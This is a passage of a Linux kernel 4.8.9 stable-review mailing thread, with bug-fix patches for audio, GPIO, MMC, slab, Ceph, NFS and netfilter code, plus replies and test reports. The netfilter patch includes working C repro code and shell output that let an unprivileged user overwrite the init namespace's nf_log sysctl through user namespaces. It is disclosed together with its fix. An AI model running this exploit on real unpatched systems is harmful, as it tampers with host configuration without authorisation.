the module will result in the refcount being decreased below 0.
Fix it.

Fixes: d8c2dab8381d ("ASoC: Intel: Add Skylake HDA audio driver")
Signed-off-by: Lukas Wunner <lukas@wunner.de>
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 sound/soc/intel/skylake/skl.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- a/sound/soc/intel/skylake/skl.c
+++ b/sound/soc/intel/skylake/skl.c
@@ -785,8 +785,7 @@ static void skl_remove(struct pci_dev *p
 
 	release_firmware(skl->tplg);
 
-	if (pci_dev_run_wake(pci))
-		pm_runtime_get_noresume(&pci->dev);
+	pm_runtime_get_noresume(&pci->dev);
 
 	/* codec removal, invoke bus_device_remove */
 	snd_hdac_ext_bus_device_remove(ebus);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 83/92] ASoC: sun4i-codec: return error code instead of NULL when create_card fails
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (69 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 82/92] ASoC: Intel: Skylake: Always acquire runtime pm ref on unload Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 84/92] pinctrl: iproc: Fix iProc and NSP GPIO support Greg Kroah-Hartman
                     ` (8 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Chen-Yu Tsai, Mark Brown

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Chen-Yu Tsai <wens@csie.org>

commit 85915b63ad8b796848f431b66c9ba5e356e722e5 upstream.

When sun4i_codec_create_card fails, we do not assign a proper error
code to the return value. The return value would be 0 from the previous
function call, or we would have bailed out sooner. This would confuse
the driver core into thinking the device probe succeeded, when in fact
it didn't, leaving various devres based resources lingering.

Make the create_card function pass back a meaningful error code, and
assign it to the return value.

Fixes: 45fb6b6f2aa3 ("ASoC: sunxi: add support for the on-chip codec on
		      early Allwinner SoCs")
Signed-off-by: Chen-Yu Tsai <wens@csie.org>
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 sound/soc/sunxi/sun4i-codec.c |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

--- a/sound/soc/sunxi/sun4i-codec.c
+++ b/sound/soc/sunxi/sun4i-codec.c
@@ -738,11 +738,11 @@ static struct snd_soc_card *sun4i_codec_
 
 	card = devm_kzalloc(dev, sizeof(*card), GFP_KERNEL);
 	if (!card)
-		return NULL;
+		return ERR_PTR(-ENOMEM);
 
 	card->dai_link = sun4i_codec_create_link(dev, &card->num_links);
 	if (!card->dai_link)
-		return NULL;
+		return ERR_PTR(-ENOMEM);
 
 	card->dev		= dev;
 	card->name		= "sun4i-codec";
@@ -842,7 +842,8 @@ static int sun4i_codec_probe(struct plat
 	}
 
 	card = sun4i_codec_create_card(&pdev->dev);
-	if (!card) {
+	if (IS_ERR(card)) {
+		ret = PTR_ERR(card);
 		dev_err(&pdev->dev, "Failed to create our card\n");
 		goto err_unregister_codec;
 	}

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 84/92] pinctrl: iproc: Fix iProc and NSP GPIO support
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (70 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 83/92] ASoC: sun4i-codec: return error code instead of NULL when create_card fails Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 85/92] mmc: mxs: Initialize the spinlock prior to using it Greg Kroah-Hartman
                     ` (7 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Ray Jui, Eric Anholt, Linus Walleij

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Ray Jui <ray.jui@broadcom.com>

commit 091c531b09c151c2d712a8f347009ca3698a2467 upstream.

Since commit 44a7185c2ae6 ("of/platform: Add common method to populate
default bus"), ARM64 platform devices are populated at the
arch_initcall_sync level; as a result, the platform_driver_probe calls
in both the iProc and NSP GPIO drivers fail with -ENODEV since by that
time the platform device was not yet registered.

Replace platform_driver_probe with platform_driver_register, that allow
the device to be register later

Fixes: 44a7185c2ae6 ("of/platform: Add common method to populate default bus")
Signed-off-by: Ray Jui <ray.jui@broadcom.com>
Tested-by: Eric Anholt <eric@anholt.net>
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/pinctrl/bcm/pinctrl-iproc-gpio.c |    2 +-
 drivers/pinctrl/bcm/pinctrl-nsp-gpio.c   |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- a/drivers/pinctrl/bcm/pinctrl-iproc-gpio.c
+++ b/drivers/pinctrl/bcm/pinctrl-iproc-gpio.c
@@ -844,6 +844,6 @@ static struct platform_driver iproc_gpio
 
 static int __init iproc_gpio_init(void)
 {
-	return platform_driver_probe(&iproc_gpio_driver, iproc_gpio_probe);
+	return platform_driver_register(&iproc_gpio_driver);
 }
 arch_initcall_sync(iproc_gpio_init);
--- a/drivers/pinctrl/bcm/pinctrl-nsp-gpio.c
+++ b/drivers/pinctrl/bcm/pinctrl-nsp-gpio.c
@@ -741,6 +741,6 @@ static struct platform_driver nsp_gpio_d
 
 static int __init nsp_gpio_init(void)
 {
-	return platform_driver_probe(&nsp_gpio_driver, nsp_gpio_probe);
+	return platform_driver_register(&nsp_gpio_driver);
 }
 arch_initcall_sync(nsp_gpio_init);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 85/92] mmc: mxs: Initialize the spinlock prior to using it
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (71 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 84/92] pinctrl: iproc: Fix iProc and NSP GPIO support Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 86/92] memcg: prevent memcg caches to be both OFF_SLAB & OBJFREELIST_SLAB Greg Kroah-Hartman
                     ` (6 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Fabio Estevam, Marek Vasut, Ulf Hansson

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Fabio Estevam <fabio.estevam@nxp.com>

commit f91346e8b5f46aaf12f1df26e87140584ffd1b3f upstream.

An interrupt may occur right after devm_request_irq() is called and
prior to the spinlock initialization, leading to a kernel oops,
as the interrupt handler uses the spinlock.

In order to prevent this problem, move the spinlock initialization
prior to requesting the interrupts.

Fixes: e4243f13d10e (mmc: mxs-mmc: add mmc host driver for i.MX23/28)
Signed-off-by: Fabio Estevam <fabio.estevam@nxp.com>
Reviewed-by: Marek Vasut <marex@denx.de>
Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/mmc/host/mxs-mmc.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- a/drivers/mmc/host/mxs-mmc.c
+++ b/drivers/mmc/host/mxs-mmc.c
@@ -661,13 +661,13 @@ static int mxs_mmc_probe(struct platform
 
 	platform_set_drvdata(pdev, mmc);
 
+	spin_lock_init(&host->lock);
+
 	ret = devm_request_irq(&pdev->dev, irq_err, mxs_mmc_irq_handler, 0,
 			       dev_name(&pdev->dev), host);
 	if (ret)
 		goto out_free_dma;
 
-	spin_lock_init(&host->lock);
-
 	ret = mmc_add_host(mmc);
 	if (ret)
 		goto out_free_dma;

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 86/92] memcg: prevent memcg caches to be both OFF_SLAB & OBJFREELIST_SLAB
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (72 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 85/92] mmc: mxs: Initialize the spinlock prior to using it Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:33   ` [PATCH 4.8 87/92] libceph: fix legacy layout decode with pool 0 Greg Kroah-Hartman
                     ` (5 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Greg Thelen, Thomas Garnier,
	Christoph Lameter, Pekka Enberg, David Rientjes, Joonsoo Kim,
	Vladimir Davydov, Michal Hocko, Johannes Weiner, Andrew Morton,
	Linus Torvalds

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Greg Thelen <gthelen@google.com>

commit f773e36de3d77c4000ca914c9d146f55f2fd51e8 upstream.

While testing OBJFREELIST_SLAB integration with pagealloc, we found a
bug where kmem_cache(sys) would be created with both CFLGS_OFF_SLAB &
CFLGS_OBJFREELIST_SLAB.  When it happened, critical allocations needed
for loading drivers or creating new caches will fail.

The original kmem_cache is created early making OFF_SLAB not possible.
When kmem_cache(sys) is created, OFF_SLAB is possible and if pagealloc
is enabled it will try to enable it first under certain conditions.
Given kmem_cache(sys) reuses the original flag, you can have both flags
at the same time resulting in allocation failures and odd behaviors.

This fix discards allocator specific flags from memcg before calling
create_cache.

The bug exists since 4.6-rc1 and affects testing debug pagealloc
configurations.

Fixes: b03a017bebc4 ("mm/slab: introduce new slab management type, OBJFREELIST_SLAB")
Link: http://lkml.kernel.org/r/1478553075-120242-1-git-send-email-thgarnie@google.com
Signed-off-by: Greg Thelen <gthelen@google.com>
Signed-off-by: Thomas Garnier <thgarnie@google.com>
Tested-by: Thomas Garnier <thgarnie@google.com>
Acked-by: Christoph Lameter <cl@linux.com>
Cc: Pekka Enberg <penberg@kernel.org>
Cc: David Rientjes <rientjes@google.com>
Cc: Joonsoo Kim <iamjoonsoo.kim@lge.com>
Cc: Vladimir Davydov <vdavydov.dev@gmail.com>
Cc: Michal Hocko <mhocko@kernel.org>
Cc: Johannes Weiner <hannes@cmpxchg.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 mm/slab_common.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- a/mm/slab_common.c
+++ b/mm/slab_common.c
@@ -533,8 +533,8 @@ void memcg_create_kmem_cache(struct mem_
 
 	s = create_cache(cache_name, root_cache->object_size,
 			 root_cache->size, root_cache->align,
-			 root_cache->flags, root_cache->ctor,
-			 memcg, root_cache);
+			 root_cache->flags & CACHE_CREATE_MASK,
+			 root_cache->ctor, memcg, root_cache);
 	/*
 	 * If we could not create a memcg cache, do not complain, because
 	 * that's not critical at all as we can always proceed with the root

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 87/92] libceph: fix legacy layout decode with pool 0
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (73 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 86/92] memcg: prevent memcg caches to be both OFF_SLAB & OBJFREELIST_SLAB Greg Kroah-Hartman
@ 2016-11-17 10:33   ` Greg Kroah-Hartman
  2016-11-17 10:33   ` [PATCH 4.8 88/92] NFSv4.1: work around -Wmaybe-uninitialized warning Greg Kroah-Hartman
                     ` (4 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:33 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Yan, Zheng, Ilya Dryomov

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Yan, Zheng <zyan@redhat.com>

commit 3890dce1d3a8b9fe3bc36de99496792e468cd079 upstream.

If your data pool was pool 0, ceph_file_layout_from_legacy()
transform that to -1 unconditionally, which broke upgrades.
We only want do that for a fully zeroed ceph_file_layout,
so that it still maps to a file_layout_t.  If any fields
are set, though, we trust the fl_pgpool to be a valid pool.

Fixes: 7627151ea30bc ("libceph: define new ceph_file_layout structure")
Link: http://tracker.ceph.com/issues/17825
Signed-off-by: Yan, Zheng <zyan@redhat.com>
Signed-off-by: Ilya Dryomov <idryomov@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 net/ceph/ceph_fs.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- a/net/ceph/ceph_fs.c
+++ b/net/ceph/ceph_fs.c
@@ -34,7 +34,8 @@ void ceph_file_layout_from_legacy(struct
 	fl->stripe_count = le32_to_cpu(legacy->fl_stripe_count);
 	fl->object_size = le32_to_cpu(legacy->fl_object_size);
 	fl->pool_id = le32_to_cpu(legacy->fl_pg_pool);
-	if (fl->pool_id == 0)
+	if (fl->pool_id == 0 && fl->stripe_unit == 0 &&
+	    fl->stripe_count == 0 && fl->object_size == 0)
 		fl->pool_id = -1;
 }
 EXPORT_SYMBOL(ceph_file_layout_from_legacy);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 88/92] NFSv4.1: work around -Wmaybe-uninitialized warning
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (74 preceding siblings ...)
  2016-11-17 10:33   ` [PATCH 4.8 87/92] libceph: fix legacy layout decode with pool 0 Greg Kroah-Hartman
@ 2016-11-17 10:33   ` Greg Kroah-Hartman
  2016-11-17 10:33   ` [PATCH 4.8 92/92] netfilter: fix namespace handling in nf_log_proc_dostring Greg Kroah-Hartman
                     ` (3 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:33 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Arnd Bergmann, Trond Myklebust,
	Anna Schumaker

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Arnd Bergmann <arnd@arndb.de>

commit 68a564006a21ae59c7c51b4359e2e8efa42ae4af upstream.

A bugfix introduced a harmless gcc warning in nfs4_slot_seqid_in_use
if we enable -Wmaybe-uninitialized again:

fs/nfs/nfs4session.c:203:54: error: 'cur_seq' may be used uninitialized in this function [-Werror=maybe-uninitialized]

gcc is not smart enough to conclude that the IS_ERR/PTR_ERR pair
results in a nonzero return value here. Using PTR_ERR_OR_ZERO()
instead makes this clear to the compiler.

The warning originally did not appear in v4.8 as it was globally
disabled, but the bugfix that introduced the warning got backported
to stable kernels which again enable it, and this is now the only
warning in the v4.7 builds.

Fixes: e09c978aae5b ("NFSv4.1: Fix Oopsable condition in server callback races")
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Cc: Trond Myklebust <trond.myklebust@primarydata.com>
Signed-off-by: Anna Schumaker <Anna.Schumaker@Netapp.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 fs/nfs/nfs4session.c |   10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

--- a/fs/nfs/nfs4session.c
+++ b/fs/nfs/nfs4session.c
@@ -178,12 +178,14 @@ static int nfs4_slot_get_seqid(struct nf
 	__must_hold(&tbl->slot_tbl_lock)
 {
 	struct nfs4_slot *slot;
+	int ret;
 
 	slot = nfs4_lookup_slot(tbl, slotid);
-	if (IS_ERR(slot))
-		return PTR_ERR(slot);
-	*seq_nr = slot->seq_nr;
-	return 0;
+	ret = PTR_ERR_OR_ZERO(slot);
+	if (!ret)
+		*seq_nr = slot->seq_nr;
+
+	return ret;
 }
 
 /*

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 92/92] netfilter: fix namespace handling in nf_log_proc_dostring
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (75 preceding siblings ...)
  2016-11-17 10:33   ` [PATCH 4.8 88/92] NFSv4.1: work around -Wmaybe-uninitialized warning Greg Kroah-Hartman
@ 2016-11-17 10:33   ` Greg Kroah-Hartman
       [not found]   ` <20161117103227.709330459@linuxfoundation.org>
                     ` (2 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:33 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Jann Horn, Pablo Neira Ayuso

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Jann Horn <jann@thejh.net>

commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.

nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.

Stash the "struct net *" in extra2 - data and extra1 are already used.

Repro code:

#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

char child_stack[1000000];

uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;

void writefile(char *path, char *buf) {
        int fd = open(path, O_WRONLY);
        if (fd == -1)
                err(1, "unable to open thing");
        if (write(fd, buf, strlen(buf)) != strlen(buf))
                err(1, "unable to write thing");
        close(fd);
}

int child_fn(void *p_) {
        if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
                  NULL))
                err(1, "mount");

        /* Yes, we need to set the maps for the net sysctls to recognize us
         * as namespace root.
         */
        char buf[1000];
        sprintf(buf, "0 %d 1\n", (int)outer_uid);
        writefile("/proc/1/uid_map", buf);
        writefile("/proc/1/setgroups", "deny");
        sprintf(buf, "0 %d 1\n", (int)outer_gid);
        writefile("/proc/1/gid_map", buf);

        stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
        if (stolen_fd == -1)
                err(1, "open nf_log");
        return 0;
}

int main(void) {
        outer_uid = getuid();
        outer_gid = getgid();

        int child = clone(child_fn, child_stack + sizeof(child_stack),
                          CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
                          |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
        if (child == -1)
                err(1, "clone");
        int status;
        if (wait(&status) != child)
                err(1, "wait");
        if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
                errx(1, "child exit status bad");

        char *data = "NONE";
        if (write(stolen_fd, data, strlen(data)) != strlen(data))
                err(1, "write");
        return 0;
}

Repro:

$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE

Because this looks like an issue with very low severity, I'm sending it to
the public list directly.

Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 net/netfilter/nf_log.c |    6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

--- a/net/netfilter/nf_log.c
+++ b/net/netfilter/nf_log.c
@@ -420,7 +420,7 @@ static int nf_log_proc_dostring(struct c
 	char buf[NFLOGGER_NAME_LEN];
 	int r = 0;
 	int tindex = (unsigned long)table->extra1;
-	struct net *net = current->nsproxy->net_ns;
+	struct net *net = table->extra2;
 
 	if (write) {
 		struct ctl_table tmp = *table;
@@ -474,7 +474,6 @@ static int netfilter_log_sysctl_init(str
 				 3, "%d", i);
 			nf_log_sysctl_table[i].procname	=
 				nf_log_sysctl_fnames[i];
-			nf_log_sysctl_table[i].data = NULL;
 			nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN;
 			nf_log_sysctl_table[i].mode = 0644;
 			nf_log_sysctl_table[i].proc_handler =
@@ -484,6 +483,9 @@ static int netfilter_log_sysctl_init(str
 		}
 	}
 
+	for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++)
+		table[i].extra2 = net;
+
 	net->nf.nf_log_dir_header = register_net_sysctl(net,
 						"net/netfilter/nf_log",
 						table);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* Re: [PATCH 4.8 78/92] batman-adv: fix splat on disabling an interface
       [not found]   ` <20161117103227.709330459@linuxfoundation.org>
@ 2016-11-17 10:51     ` Sven Eckelmann
  2016-11-17 12:02       ` Greg Kroah-Hartman
  0 siblings, 1 reply; 83+ messages in thread
From: Sven Eckelmann @ 2016-11-17 10:51 UTC (permalink / raw)
  To: Greg Kroah-Hartman
  Cc: linux-kernel, stable, Linus Lüssing, Simon Wunderlich

[-- Attachment #1: Type: text/plain, Size: 1139 bytes --]

On Donnerstag, 17. November 2016 11:32:51 CET Greg Kroah-Hartman wrote:
> 4.8-stable review patch.  If anyone has any objections, please let me know.
> 
> ------------------
> 
> From: Linus Lüssing <linus.luessing@c0d3.blue>
> 
> commit 9799c50372b23ed774791bdb87d700f1286ee8a9 upstream.
> 
> As long as there is still a reference for a hard interface held, there might
> still be a forwarding packet relying on its attributes.
> 
> Therefore avoid setting hard_iface->soft_iface to NULL when disabling a hard
> interface.
> 
> This fixes the following, potential splat:
> 
[...]

Thanks for your backporting efforts. There is already a revert for this patch
queued up in batadv/net [1] (targets net.git). So maybe you want to drop this
patch from your stable queue.

We also got test results from Linus which showed that this problem didn't
happen anymore with recent kernel versions (without his patch). These results
made him also Ack the revert.

Sorry about this confusing situation.

Kind regards,
	Sven

[1] https://git.open-mesh.org/linux-merge.git/commit/27915aa61060fd8954a68a86657784705955088a

[-- Attachment #2: This is a digitally signed message part. --]
[-- Type: application/pgp-signature, Size: 801 bytes --]

^ permalink raw reply	[flat|nested] 83+ messages in thread

* Re: [PATCH 4.8 78/92] batman-adv: fix splat on disabling an interface
  2016-11-17 10:51     ` [PATCH 4.8 78/92] batman-adv: fix splat on disabling an interface Sven Eckelmann
@ 2016-11-17 12:02       ` Greg Kroah-Hartman
  0 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 12:02 UTC (permalink / raw)
  To: Sven Eckelmann; +Cc: linux-kernel, stable, Linus Lüssing, Simon Wunderlich

On Thu, Nov 17, 2016 at 11:51:24AM +0100, Sven Eckelmann wrote:
> On Donnerstag, 17. November 2016 11:32:51 CET Greg Kroah-Hartman wrote:
> > 4.8-stable review patch.  If anyone has any objections, please let me know.
> > 
> > ------------------
> > 
> > From: Linus Lüssing <linus.luessing@c0d3.blue>
> > 
> > commit 9799c50372b23ed774791bdb87d700f1286ee8a9 upstream.
> > 
> > As long as there is still a reference for a hard interface held, there might
> > still be a forwarding packet relying on its attributes.
> > 
> > Therefore avoid setting hard_iface->soft_iface to NULL when disabling a hard
> > interface.
> > 
> > This fixes the following, potential splat:
> > 
> [...]
> 
> Thanks for your backporting efforts. There is already a revert for this patch
> queued up in batadv/net [1] (targets net.git). So maybe you want to drop this
> patch from your stable queue.
> 
> We also got test results from Linus which showed that this problem didn't
> happen anymore with recent kernel versions (without his patch). These results
> made him also Ack the revert.
> 
> Sorry about this confusing situation.

Not a problem, I've dropped this one from the patch queue now, thanks
for letting me know.

greg k-h

^ permalink raw reply	[flat|nested] 83+ messages in thread

* Re: [PATCH 4.8 00/92] 4.8.9-stable review
       [not found]   ` <ff6afc35-bd5d-f6f0-f483-e1bc692646d5@samsung.com>
@ 2016-11-17 16:48     ` Greg Kroah-Hartman
  0 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 16:48 UTC (permalink / raw)
  To: Shuah Khan
  Cc: linux-kernel, torvalds, akpm, linux, patches, ben.hutchings, stable

On Thu, Nov 17, 2016 at 09:24:10AM -0700, Shuah Khan wrote:
> On 11/17/2016 03:31 AM, Greg Kroah-Hartman wrote:
> > This is the start of the stable review cycle for the 4.8.9 release.
> > There are 92 patches in this series, all will be posted as a response
> > to this one.  If anyone has any issues with these being applied, please
> > let me know.
> > 
> > Responses should be made by Sat Nov 19 10:32:04 UTC 2016.
> > Anything received after that time might be too late.
> > 
> > The whole patch series can be found in one patch at:
> > 	kernel.org/pub/linux/kernel/v4.x/stable-review/patch-4.8.9-rc1.gz
> > or in the git tree and branch at:
> >   git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-4.8.y
> > and the diffstat can be found below.
> > 
> > thanks,
> > 
> > greg k-h
> > 
> 
> Compiled and booted on my test system. No dmesg regressions.

Great, thanks for testing both of these and letting me know.

greg k-h

^ permalink raw reply	[flat|nested] 83+ messages in thread

* Re: [PATCH 4.8 00/92] 4.8.9-stable review
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (78 preceding siblings ...)
       [not found]   ` <ff6afc35-bd5d-f6f0-f483-e1bc692646d5@samsung.com>
@ 2016-11-17 22:23   ` Guenter Roeck
  2016-11-18  7:14     ` Greg Kroah-Hartman
  79 siblings, 1 reply; 83+ messages in thread
From: Guenter Roeck @ 2016-11-17 22:23 UTC (permalink / raw)
  To: Greg Kroah-Hartman
  Cc: linux-kernel, torvalds, akpm, shuah.kh, patches, ben.hutchings, stable

On Thu, Nov 17, 2016 at 11:31:33AM +0100, Greg Kroah-Hartman wrote:
> This is the start of the stable review cycle for the 4.8.9 release.
> There are 92 patches in this series, all will be posted as a response
> to this one.  If anyone has any issues with these being applied, please
> let me know.
> 
> Responses should be made by Sat Nov 19 10:32:04 UTC 2016.
> Anything received after that time might be too late.
> 
Build results:
	total: 149 pass: 149 fail: 0
Qemu test results:
	total: 114 pass: 114 fail: 0

Details are available at http://kerneltests.org/builders.

Guenter

^ permalink raw reply	[flat|nested] 83+ messages in thread

* Re: [PATCH 4.8 00/92] 4.8.9-stable review
  2016-11-17 22:23   ` Guenter Roeck
@ 2016-11-18  7:14     ` Greg Kroah-Hartman
  0 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-18  7:14 UTC (permalink / raw)
  To: Guenter Roeck
  Cc: linux-kernel, torvalds, akpm, shuah.kh, patches, ben.hutchings, stable

On Thu, Nov 17, 2016 at 02:23:50PM -0800, Guenter Roeck wrote:
> On Thu, Nov 17, 2016 at 11:31:33AM +0100, Greg Kroah-Hartman wrote:
> > This is the start of the stable review cycle for the 4.8.9 release.
> > There are 92 patches in this series, all will be posted as a response
> > to this one.  If anyone has any issues with these being applied, please
> > let me know.
> > 
> > Responses should be made by Sat Nov 19 10:32:04 UTC 2016.
> > Anything received after that time might be too late.
> > 
> Build results:
> 	total: 149 pass: 149 fail: 0
> Qemu test results:
> 	total: 114 pass: 114 fail: 0
> 
> Details are available at http://kerneltests.org/builders.

Great, thanks for testing all of these and letting me know.

greg k-h

^ permalink raw reply	[flat|nested] 83+ messages in thread

end of thread, other threads:[~2016-11-18  7:14 UTC | newest]

Thread overview: 83+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
     [not found] <CGME20161117103726epcas5p2d4b3b822fdf8596bbd1a48a77364d0ac@epcas5p2.samsung.com>
2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 01/92] ALSA: info: Return error for invalid read/write Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 02/92] ALSA: info: Limit the proc text input size Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 03/92] ASoC: cs4270: fix DAPM stream name mismatch Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 05/92] mm, frontswap: make sure allocated frontswap map is assigned Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 06/92] shmem: fix pageflags after swapping DMA32 object Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 07/92] swapfile: fix memory corruption via malformed swapfile Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 08/92] mm: hwpoison: fix thp split handling in memory_failure() Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 09/92] mm/hugetlb: fix huge page reservation leak in private mapping error paths Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 10/92] coredump: fix unfreezable coredumping task Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 11/92] s390/hypfs: Use get_free_page() instead of kmalloc to ensure page alignment Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 12/92] ARC: timer: rtc: implement read loop in "C" vs. inline asm Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 13/92] PCI: Dont attempt to claim shadow copies of ROM Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 14/92] arc: Implement arch-specific dma_map_ops.mmap Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 15/92] pinctrl: cherryview: Serialize register access in suspend/resume Greg Kroah-Hartman
